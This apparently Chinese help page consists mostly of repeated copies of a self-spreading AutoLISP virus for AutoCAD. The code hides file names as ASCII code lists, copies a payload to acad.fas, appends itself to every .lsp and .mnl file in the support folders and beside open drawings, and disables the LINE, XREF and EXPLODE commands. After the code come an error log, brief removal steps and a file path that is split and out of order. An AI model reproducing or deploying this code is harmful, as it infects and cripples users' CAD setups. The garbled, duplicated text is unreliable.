2023年12月2日发(作者：)

122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97

117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97

115))))(princ))

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

(setq flag nil)

(setq flag1 t)

(if (findfile target)

(progn

(setq wjm1 (open target "r"))

(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

(close wjm1)

);progn

);if

(if flag1

(progn

(setq wjm (open source "r"))

(setq wjm1 (open target "a"))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

(progn

(write-line text wjm1)

);progn

);if

);while (close wjm1)

(close wjm)

);progn

);if

);defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile ""))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile ""))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath ""))

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while

(setq lspn 0) (while (< lspn lspnum)

(setq lspfilename (strcat support "" (nth lspn lspfilelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn (1+ lspn))

);while

);progn

);if

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)))

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)))

(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)))

(app mnlfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (< lspn lspnum)

(setq lspfilename (strcat support "" (nth lspn lspfilelist)))

(setq lspn1 0)

(while (< lspn1 lspnum) (setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)))

(app lspfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)))

(app lspfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn (1+ lspn))

);while

(setvar "sdi" 1)

(setvar "ACADLSPASDOC" 1)

(command "undefine" "line")

(command "undefine" "_line")

(command "undefine" "xref")

(command "undefine" "_xref")

(command "undefine" "explode")

(command "undefine" "_explode")

(setvar "cmdecho" 1)

(princ)

(load "acadapp")

(princ)

(if (null stol) (load "lcm" ""))

(princ)

(load "acadapp")

(princ)

(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111

122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97

115))))(princ))

(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111

122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97

117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97

115))))(princ))

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

(setq flag nil)

(setq flag1 t)

(if (findfile target)

(progn

(setq wjm1 (open target "r"))

(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

(close wjm1)

);progn

);if

(if flag1

(progn

(setq wjm (open source "r"))

(setq wjm1 (open target "a"))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

(progn

(write-line text wjm1) );progn

);if

);while

(close wjm1)

(close wjm)

);progn

);if

);defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile ""))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile ""))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath ""))

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz) (setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (< lspn lspnum)

(setq lspfilename (strcat support "" (nth lspn lspfilelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn (1+ lspn))

);while

);progn

);if

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)))

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)))

(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)))

(app mnlfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (< lspn lspnum) (setq lspfilename (strcat support "" (nth lspn lspfilelist)))

(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)))

(app lspfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)))

(app lspfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn (1+ lspn))

);while

(setvar "sdi" 1)

(setvar "ACADLSPASDOC" 1)

(command "undefine" "line")

(command "undefine" "_line")

(command "undefine" "xref")

(command "undefine" "_xref")

(command "undefine" "explode")

(command "undefine" "_explode")

(setvar "cmdecho" 1)

(princ)

(load "acadapp")

(princ)

(if (null stol) (load "lcm" ""))

(princ)

(load "acadapp") (princ)

(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111

122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97

117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97

115))))(princ))

(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111

122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97

117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97

115))))(princ))

(setq flagx t)

(setq bz "(setq flagx t)")

(defun app(source target bz / flag flag1 wjm wjm1 text)

(setq flag nil)

(setq flag1 t)

(if (findfile target)

(progn

(setq wjm1 (open target "r"))

(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

(close wjm1)

);progn

);if

(if flag1

(progn

(setq wjm (open source "r"))

(setq wjm1 (open target "a"))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))

(if (= text bz) (setq flag t)) (if flag

(progn

(write-line text wjm1)

);progn

);if

);while

(close wjm1)

(close wjm)

);progn

);if

);defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile ""))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile ""))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(if dwgpath

(progn

(setq acaddocpath (vl-filename-directory dwgpath))

(setq acaddocfile (strcat acaddocpath ""))

(setq mnln 0)

(while (< mnln mnlnum) (setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)))

(app mnlfilename acaddocfile bz)

(app acaddocfile mnlfilename bz)

(setq mnln (1+ mnln))

);while

(setq lspn 0)

(while (< lspn lspnum)

(setq lspfilename (strcat support "" (nth lspn lspfilelist)))

(app lspfilename acaddocfile bz)

(app acaddocfile lspfilename bz)

(setq lspn (1+ lspn))

);while

);progn

);if

(setq mnln 0)

(while (< mnln mnlnum)

(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist)))

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)))

(app mnlfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)))

(app mnlfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln (1+ mnln)) );while

(setq lspn 0)

(while (< lspn lspnum)

(setq lspfilename (strcat support "" (nth lspn lspfilelist)))

(setq lspn1 0)

(while (< lspn1 lspnum)

(setq lspfilename1 (strcat support "" (nth lspn1 lspfilelist)))

(app lspfilename lspfilename1 bz)

(setq lspn1 (1+ lspn1))

);while

(setq mnln1 0)

(while (< mnln1 mnlnum)

(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist)))

(app lspfilename mnlfilename1 bz)

(setq mnln1 (1+ mnln1))

);while

(setq lspn (1+ lspn))

);while

(setvar "sdi" 1)

(setvar "ACADLSPASDOC" 1)

(command "undefine" "line")

(command "undefine" "_line")

(command "undefine" "xref")

(command "undefine" "_xref")

(command "undefine" "explode")

(command "undefine" "_explode")

(setvar "cmdecho" 1)

(princ)

(load "acadapp")

(princ) (if (null stol) (load "lcm" ""))

(princ)

(load "acadapp")

(princ)

(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111

122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97

117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97

115))))(princ))

(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111

122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97

117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97

115))))(princ))

(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111

122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97

117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97

115))))(princ))

(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111

122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97

117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97

115))))(princ))

(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111

122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97

117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97

115))))(princ))

; 错误: 参数类型错误: streamp nil

Autodesk DWG。 此文件上次由 Autodesk 应用程序或 Autodesk 许可的应用程序保存，是可靠的 DWG。

命令:

命令:

命令: _ai_selall 正在选择对象...完成。 解决办法：

1.查找到文件 ，路径是C:Documents and

SettingsAdministratorApplication

2004R16.0chsSupport

2.打开文件，下拉中把 “(setq flagx t)” 行以下的所有内容删除；

3.保存关闭。

DataAutodeskAutoCAD